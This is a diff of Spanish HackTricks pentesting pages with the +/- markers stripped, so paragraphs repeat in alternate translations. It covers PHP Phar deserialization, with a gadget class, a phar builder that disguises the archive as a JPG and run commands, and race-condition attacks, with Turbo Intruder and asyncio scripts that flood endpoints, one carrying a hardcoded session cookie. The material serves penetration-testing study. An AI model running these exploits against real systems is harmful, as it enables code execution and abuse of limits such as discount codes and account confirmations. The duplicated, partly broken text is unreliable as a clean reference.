Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable, ¡**estamos contratando!** (se requiere fluidez en polaco, tanto escrito como hablado).
{% embed url="https://www.stmcyber.com/careers" %}
@ -208,7 +216,7 @@ Si estás interesado en una **carrera de hacking** y en hackear lo imposible -
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -5,22 +5,22 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible, ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
Los archivos **Phar** (PHP Archive) contienen metadatos en formato serializado, por lo que, al analizarlos, estos metadatos se deserializan y se puede intentar abusar de una vulnerabilidad de **deserialización** dentro del código **PHP**.
Los archivos **Phar** (PHP Archive) contienen metadatos en formato serializado, por lo que, al analizarlos, estos metadatos se deserializan y puedes intentar aprovechar una vulnerabilidad de **deserialización** dentro del código **PHP**.
Lo mejor de esta característica es que esta deserialización ocurrirá incluso usando funciones de PHP que no evalúan código PHP como **file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**.
Lo mejor de esta característica es que esta deserialización ocurrirá incluso utilizando funciones de PHP que no evalúan código PHP, como **file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**.
Entonces, imagina una situación en la que puedes hacer que un sitio web PHP obtenga el tamaño de un archivo arbitrario utilizando el protocolo **`phar://`**, y dentro del código encuentras una **clase** similar a la siguiente:
@ -28,35 +28,35 @@ Entonces, imagina una situación en la que puedes hacer que un sitio web PHP obt
```php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
```
{% endcode %}
Se puede crear un archivo **phar** que, al cargarse, **abusará de esta clase para ejecutar comandos arbitrarios** con algo como:
Puedes crear un archivo **phar** que, cuando se cargue, **abusará de esta clase para ejecutar comandos arbitrarios** con algo como:
{% code title="create_phar.php" %}
```php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
@ -72,12 +72,12 @@ $phar->stopBuffering();
```
{% endcode %}
Observa cómo los **bytes mágicos de JPG** (`\xff\xd8\xff`) se agregan al principio del archivo phar para **evadir posibles restricciones** de **carga de archivos**.\
Observa cómo se agregan los **bytes mágicos de JPG** (`\xff\xd8\xff`) al principio del archivo phar para **evitar** **posibles** **restricciones** de **carga** de archivos.\
**Compila** el archivo `test.phar` con:
```bash
php --define phar.readonly=0 create_phar.php
```
Y ejecuta el comando `whoami` aprovechando el código vulnerable con:
Y ejecuta el comando `whoami` abusando del código vulnerable con:
```bash
php vuln.php
```
@ -85,9 +85,9 @@ php vuln.php
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y quieres hackear lo que parece imposible, ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto hablado como escrito_).
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -95,10 +95,10 @@ Si estás interesado en una **carrera de hacking** y quieres hackear lo que pare
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -15,18 +15,18 @@ Obtén acceso hoy mismo:
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Explotando la Condición de Carrera
El principal problema de abusar de las CC es que necesitas que las solicitudes se procesen en paralelo con una diferencia de tiempo muy corta (generalmente >1ms). En la siguiente sección, se proponen diferentes soluciones para hacer esto posible.
El principal problema de abusar de las RC es que necesitas que las solicitudes se procesen en paralelo con una diferencia de tiempo muy corta (generalmente >1ms). En la siguiente sección, se proponen diferentes soluciones para hacer esto posible.
<figure><img src="../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
### Ataque de un solo paquete
### Ataque de un solo paquete (HTTP/2) / Sincronización del último byte (HTTP/1.1)
HTTP2 permite enviar **2 solicitudes en una sola conexión TCP** (mientras que en HTTP/1.1 deben ser secuenciales).\
El uso de un solo paquete TCP elimina por completo el efecto del jitter de la red, por lo que esto claramente tiene potencial para ataques de condición de carrera también. Sin embargo, **dos solicitudes no son suficientes para un ataque de carrera confiable** gracias al **jitter del lado del servidor** - variaciones en el tiempo de procesamiento de la solicitud de la aplicación causadas por variables incontrolables como la contención de la CPU.
@ -35,46 +35,115 @@ Pero, utilizando la técnica de '**sincronización del último byte**' de HTTP/1
Para **enviar previamente la mayor parte de cada solicitud**:
* Si la solicitud no tiene cuerpo, envía todas las cabeceras, pero no establezcas la bandera END\_STREAM. Retén un marco de datos vacío con END\_STREAM establecido.
* Si la solicitud tiene un cuerpo, envía las cabeceras y todos los datos del cuerpo excepto el último byte. Retén un marco de datos que contenga el último byte.
- Si la solicitud no tiene cuerpo, envía todas las cabeceras, pero no establezcas la bandera END\_STREAM. Retén un marco de datos vacío con END\_STREAM establecido.
- Si la solicitud tiene un cuerpo, envía las cabeceras y todos los datos del cuerpo excepto el último byte. Retén un marco de datos que contenga el último byte.
A continuación, **prepárate para enviar los marcos finales**:
* Espera 100 ms para asegurarte de que se hayan enviado los marcos iniciales.
* Asegúrate de que TCP\_NODELAY esté desactivado: es crucial que el algoritmo de Nagle agrupe los marcos finales.
* Envía un paquete de ping para calentar la conexión local. Si no haces esto, la pila de red del sistema operativo colocará el primer marco final en un paquete separado.
- Espera 100 ms para asegurarte de que se hayan enviado los marcos iniciales.
- Asegúrate de que TCP\_NODELAY esté desactivado: es crucial que el algoritmo de Nagle agrupe los marcos finales.
- Envía un paquete de ping para calentar la conexión local. Si no haces esto, la pila de red del sistema operativo colocará el primer marco final en un paquete separado.
Finalmente, envía los marcos retenidos. Deberías poder verificar que llegaron en un solo paquete utilizando Wireshark.
Finalmente, envía los marcos retenidos. Deberías poder verificar que llegaron en un solo paquete usando Wireshark.
{% hint style="info" %}
Ten en cuenta que esto **no funciona para archivos estáticos** en ciertos servidores, pero como los archivos estáticos no son relevantes para los ataques de condición de carrera, esto no es importante.
Ten en cuenta que esto **no funciona para archivos estáticos** en ciertos servidores, pero como los archivos estáticos no son relevantes para los ataques de condición de carrera. Pero los archivos estáticos son irrelevantes para los ataques de RC.
{% endhint %}
Utilizando esta técnica, puedes hacer que 20-30 solicitudes lleguen al servidor simultáneamente, sin importar el jitter de la red:
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
**Adaptándose a la arquitectura objetivo**
Vale la pena señalar que muchas aplicaciones se encuentran detrás de un servidor frontal, y estos pueden decidir reenviar algunas solicitudes a través de conexiones existentes hacia el backend, y crear conexiones nuevas para otras.
Como resultado, es importante no atribuir el tiempo inconsistente de las solicitudes al comportamiento de la aplicación, como mecanismos de bloqueo que solo permiten que un solo hilo acceda a un recurso a la vez. Además, el enrutamiento de solicitudes del servidor frontal se realiza a menudo por conexión, por lo que es posible que puedas suavizar el tiempo de las solicitudes realizando un calentamiento de conexión en el lado del servidor, **enviando algunas solicitudes inconsecuentes a través de tu conexión antes de realizar el ataque**.
Como resultado, es importante no atribuir el tiempo inconsistente de las solicitudes al comportamiento de la aplicación, como mecanismos de bloqueo que solo permiten que un solo hilo acceda a un recurso a la vez. Además, el enrutamiento de solicitudes del servidor frontal se realiza a menudo por conexión, por lo que es posible que puedas suavizar el tiempo de las solicitudes realizando un calentamiento de la conexión en el lado del servidor: **enviando algunas solicitudes inconsecuentes a través de tu conexión antes de realizar el ataque** (esto es simplemente enviar varias solicitudes antes de comenzar el ataque real).
Ten en cuenta que **PHP bloquea el sessionid de forma predeterminada**, por lo que debes usar una **sesión separada para cada solicitud** en tu lote o se procesarán de forma secuencial.
#### Mecanismos de bloqueo basados en sesiones <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
Algunos frameworks intentan evitar la corrupción accidental de datos mediante el uso de algún tipo de **bloqueo de solicitud**. Por ejemplo, el módulo de controlador de sesión nativo de **PHP solo procesa una solicitud por sesión a la vez**.
Es extremadamente importante detectar este tipo de comportamiento, ya que de lo contrario puede ocultar vulnerabilidades fácilmente explotables. Si notas que todas tus solicitudes se están procesando de manera secuencial, intenta enviar cada una de ellas utilizando un token de sesión diferente.
#### **Abuso de límites de velocidad o recursos**
Si el calentamiento de la conexión no marca ninguna diferencia, existen varias soluciones para este problema.
Usando Turbo Intruder, puedes introducir un breve retraso en el lado del cliente. Sin embargo, como esto implica dividir tus solicitudes de ataque reales en varios paquetes TCP, no podrás utilizar la técnica de ataque de un solo paquete. Como resultado, en objetivos con alta variabilidad, es poco probable que el ataque funcione de manera confiable, independientemente del retraso que establezcas.
<figure><img src="../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
En su lugar, es posible que puedas resolver este problema abusando de una característica de seguridad común.
Los servidores web a menudo **retrasan el procesamiento de las solicitudes si se envían demasiado rápido**. Al enviar una gran cantidad de solicitudes falsas para provocar intencionalmente el límite de velocidad o de recursos, es posible que puedas causar un retraso adecuado en el lado del servidor. Esto hace que el ataque de un solo paquete sea viable incluso cuando se requiere una ejecución retrasada.
<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
{% hint style="warning" %}
Para obtener más información sobre esta técnica, consulta el informe original en [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
{% endhint %}
#### Ejemplos
#### Ejemplos de Ataque
Puedes ver un ejemplo sencillo de cómo utilizar esto en Turbo Intruder en [https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race-single-packet-attack.py](https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race-single-packet-attack.py).
* **Tubo Intruder - Ataque de un solo paquete HTTP2 (1 punto final)**: Puedes enviar la solicitud a **Turbo Intruder** (`Extensiones` -> `Turbo Intruder` -> `Enviar a Turbo Intruder`), puedes cambiar en la solicitud el valor que deseas forzar por **`%s`** como en `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` y luego seleccionar **`examples/race-single-packer-attack.py`** del menú desplegable:
También está disponible en **Repeater** a través de la nueva opción '**Enviar grupo en paralelo**' en Burp Suite.
### BF en bruto
<figure><img src="../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Antes de la investigación anterior, estos eran algunos payloads utilizados que simplemente intentaban enviar los paquetes lo más rápido posible para causar una RC.
Si vas a **enviar diferentes valores**, puedes modificar el código con este que utiliza una lista de palabras del portapapeles:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
{% hint style="warning" %}
Si la web no admite HTTP2 (solo HTTP1.1), utiliza `Engine.THREADED` o `Engine.BURP` en lugar de `Engine.BURP2`.
{% endhint %}
* **Tubo Intruder - Ataque de un solo paquete HTTP2 (Varios endpoints)**: En caso de que necesites enviar una solicitud a 1 endpoint y luego múltiples solicitudes a otros endpoints para desencadenar la RCE, puedes modificar el script `race-single-packet-attack.py` de la siguiente manera:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
* También está disponible en **Repeater** a través de la nueva opción '**Enviar grupo en paralelo**' en Burp Suite.
* Para **limit-overrun**, simplemente puedes agregar la **misma solicitud 50 veces** en el grupo.
* Para **calentar la conexión**, puedes **agregar** al **principio** del **grupo** algunas **solicitudes** a alguna parte no estática del servidor web.
* Para **retrasar** el proceso **entre** el procesamiento **de una solicitud y otra** en 2 pasos de subestado, puedes **agregar solicitudes adicionales entre** ambas solicitudes.
* Para un RC de **multi-endpoint**, puedes comenzar enviando la **solicitud** que **va al estado oculto** y luego **50 solicitudes** justo después de ella que **explotan el estado oculto**.
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
### Raw BF
Antes de la investigación anterior, estos eran algunos payloads utilizados que intentaban enviar los paquetes lo más rápido posible para causar un RC.
* **Repeater:** Consulta los ejemplos de la sección anterior.
* **Intruder**: Envía la **solicitud** a **Intruder**, establece el **número de hilos** en **30** dentro del menú **Opciones** y selecciona como payload **Cargas útiles nulas** y genera **30**.
* **Turbo Intruder**
```python
def queueRequests(target, wordlists):
@ -96,19 +165,19 @@ table.add(req)
```
* **Python - asyncio**
La biblioteca `asyncio` de Python es una biblioteca de programación asíncrona que permite escribir código concurrente utilizando la sintaxis `async/await`. Proporciona una forma sencilla de escribir programas que realizan operaciones de entrada/salida de manera eficiente y no bloqueante.
La biblioteca `asyncio` de Python es una herramienta poderosa para escribir código asíncrono y concurrente. Permite realizar operaciones de entrada/salida (E/S) de manera eficiente y manejar múltiples tareas de forma concurrente.
La programación asíncrona es especialmente útil en situaciones en las que se necesita realizar múltiples tareas simultáneamente, como en el caso de las pruebas de penetración web. Una técnica común utilizada en las pruebas de penetración web es la condición de carrera, que aprovecha las condiciones de ejecución simultánea para obtener acceso no autorizado a recursos protegidos.
La programación asíncrona es especialmente útil en situaciones en las que se requiere realizar múltiples tareas simultáneamente, como en el caso de las pruebas de penetración. Una técnica comúnmente utilizada en las pruebas de penetración es la condición de carrera.
Una condición de carrera ocurre cuando dos o más procesos compiten por acceder o modificar un recurso compartido al mismo tiempo. En el contexto de las pruebas de penetración web, esto puede ocurrir cuando múltiples solicitudes se envían al servidor al mismo tiempo y se ejecutan en paralelo.
Una condición de carrera ocurre cuando dos o más procesos o hilos intentan acceder y modificar un recurso compartido al mismo tiempo, lo que puede llevar a resultados inesperados o inseguros. En el contexto de las pruebas de penetración web, una condición de carrera puede ser explotada para obtener acceso no autorizado o realizar acciones maliciosas.
Para aprovechar una condición de carrera en una aplicación web, es necesario identificar un punto de vulnerabilidad donde se pueda producir una condición de carrera. Esto puede ser, por ejemplo, un proceso de autenticación o un proceso de actualización de datos.
Para aprovechar una condición de carrera en una aplicación web, es necesario identificar un punto de vulnerabilidad donde se pueda producir una competencia por el acceso a un recurso compartido. Esto puede ser, por ejemplo, un proceso de autenticación o una operación de actualización de datos.
Una vez identificado el punto de vulnerabilidad, se pueden enviar múltiples solicitudes simultáneas al servidor para intentar explotar la condición de carrera. Esto se puede lograr utilizando la biblioteca `asyncio` de Python para enviar solicitudes asíncronas y controlar el flujo de ejecución.
Una vez identificado el punto de vulnerabilidad, se pueden realizar múltiples solicitudes simultáneas para intentar explotar la condición de carrera. Esto se puede lograr utilizando la biblioteca `asyncio` de Python para enviar solicitudes asincrónicas y manejar las respuestas de manera concurrente.
Al utilizar `asyncio`, se pueden enviar múltiples solicitudes al servidor al mismo tiempo y esperar las respuestas de manera eficiente sin bloquear el hilo principal de ejecución. Esto permite aprovechar las condiciones de carrera y realizar pruebas de penetración web de manera más efectiva.
Al aprovechar una condición de carrera, un atacante puede intentar realizar acciones como eludir la autenticación, acceder a datos confidenciales o modificar información en la aplicación web objetivo.
En resumen, la biblioteca `asyncio` de Python es una herramienta poderosa para realizar pruebas de penetración web y aprovechar las condiciones de carrera. Al utilizar la programación asíncrona, se pueden enviar múltiples solicitudes simultáneas y controlar el flujo de ejecución de manera eficiente.
Es importante tener en cuenta que la explotación de una condición de carrera es una actividad ilegal y solo debe realizarse con el consentimiento y la autorización del propietario del sistema o la aplicación web.
```python
import asyncio
import httpx
@ -136,80 +205,118 @@ print(results)
asyncio.run(main())
```
* **Intruso**: Envía la **solicitud** al **Intruso**, establece el **número de hilos** en **30** dentro del menú de **Opciones**, selecciona como carga útil **Cargas útiles nulas** y genera **30**.
## **Metodología de RC**
### Límite-desbordamiento / TOCTOU
Este es el tipo más básico de condición de carrera donde se presentan vulnerabilidades en lugares que limitan la cantidad de veces que se puede realizar una acción. Como usar el mismo código de descuento varias veces en una tienda web. Un ejemplo muy fácil se puede encontrar en [este informe](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o en [este error](https://hackerone.com/reports/759247).
## **Impactos de RC**
Existen muchas variaciones de este tipo de ataque, que incluyen:
### Desbordamiento de límite
Este es el tipo más básico de condición de carrera donde se encuentran **vulnerabilidades** que **limitan el número de veces que se puede realizar una acción**. Por ejemplo, usar el mismo código de descuento varias veces en una tienda web. Un ejemplo muy sencillo se puede encontrar en [**este informe**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o en [**este error**](https://hackerone.com/reports/759247)**.**
- Canjear una tarjeta de regalo varias veces
- Calificar un producto varias veces
- Retirar o transferir dinero en exceso de su saldo de cuenta
- Reutilizar una solución CAPTCHA única
- Bypass de un límite de velocidad anti-fuerza bruta
### **Subestados ocultos**
Otra condición de carrera más complicada explotará **subestados en el estado de la máquina** que podrían permitir a un atacante **abusar de estados a los que nunca se suponía que debía tener acceso**, pero hay una **pequeña ventana** para que el atacante acceda a ellos.
Otra condición de carrera más complicada explotará subestados en el estado de la máquina que podrían permitir a un atacante abusar de estados a los que nunca se suponía que debía tener acceso, pero hay una pequeña ventana para que el atacante acceda a ellos.
1. **Predecir subestados ocultos e interesantes potenciales**
El primer paso es identificar todos los puntos finales que ya sea escriben en él o leen datos de él y luego utilizan esos datos para algo importante. Por ejemplo, los usuarios pueden almacenarse en una tabla de base de datos que se modifica mediante el registro, la edición de perfiles, la iniciación de restablecimiento de contraseña y la finalización del restablecimiento de contraseña.
El primer paso es identificar todos los puntos finales que ya sea escriben en él o leen datos de él y luego usan esos datos para algo importante. Por ejemplo, los usuarios pueden almacenarse en una tabla de base de datos que se modifica mediante el registro, la edición de perfiles, la iniciación de restablecimiento de contraseña y la finalización de restablecimiento de contraseña.
Podemos utilizar tres preguntas clave para descartar los puntos finales que es poco probable que causen colisiones. Para cada objeto y los puntos finales asociados, pregunte:
Podemos usar tres preguntas clave para descartar los puntos finales que es poco probable que causen colisiones. Para cada objeto y los puntos finales asociados, pregunte:
**1) ¿Cómo se almacena el estado?**
- **¿Cómo se almacena el estado?**
Los datos que se almacenan en una estructura de datos persistente en el servidor son ideales para la explotación. Algunos puntos finales almacenan su estado completamente en el lado del cliente, como los restablecimientos de contraseña que funcionan enviando un JWT por correo electrónico; estos se pueden omitir de forma segura.
Los datos que se almacenan en una estructura de datos persistente en el servidor son ideales para la explotación. Algunos puntos finales almacenan su estado completamente en el lado del cliente, como los restablecimientos de contraseña que funcionan enviando un JWT por correo electrónico; estos se pueden omitir de manera segura.
Las aplicaciones a menudo almacenan algún estado en la sesión del usuario. Estos a menudo están algo protegidos contra subestados, pero más sobre eso más adelante.
Las aplicaciones a menudo almacenan algún estado en la sesión del usuario. Estos a menudo están algo protegidos contra subestados, más sobre eso más adelante.
**2) ¿Estamos editando o agregando?**
- **¿Estamos editando o agregando?**
Las operaciones que editan datos existentes (como cambiar la dirección de correo electrónico principal de una cuenta) tienen un amplio potencial de colisión, mientras que las acciones que simplemente agregan datos existentes (como agregar una dirección de correo electrónico adicional) es poco probable que sean vulnerables a algo que no sea ataques de desbordamiento de límite.
Las operaciones que editan datos existentes (como cambiar la dirección de correo electrónico principal de una cuenta) tienen un amplio potencial de colisión, mientras que las acciones que simplemente se agregan a los datos existentes (como agregar una dirección de correo electrónico adicional) es poco probable que sean vulnerables a algo más que ataques de límite-desbordamiento.
**3) ¿En qué se basa la operación?**
- **¿En qué se basa la operación?**
La mayoría de los puntos finales operan en un registro específico, que se busca utilizando una "clave", como un nombre de usuario, un token de restablecimiento de contraseña o un nombre de archivo. Para un ataque exitoso, necesitamos dos operaciones que utilicen la misma clave. Por ejemplo, imagine dos implementaciones plausibles de restablecimiento de contraseña:
La mayoría de los puntos finales operan en un registro específico, que se busca utilizando una "clave", como un nombre de usuario, un token de restablecimiento de contraseña o un nombre de archivo. Para un ataque exitoso, necesitamos dos operaciones que usen la misma clave. Por ejemplo, imagine dos implementaciones plausibles de restablecimiento de contraseña:
<figure><img src="../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
2. **Buscar pistas**
En este punto, es hora de **lanzar algunos ataques de RC** sobre los puntos finales interesantes potenciales para tratar de encontrar resultados inesperados en comparación con los regulares. **Cualquier desviación de la respuesta esperada**, como un cambio en una o más respuestas, o un efecto de segundo orden como diferentes contenidos de correo electrónico o un cambio visible en su sesión, podría ser una pista que indique que algo está mal.
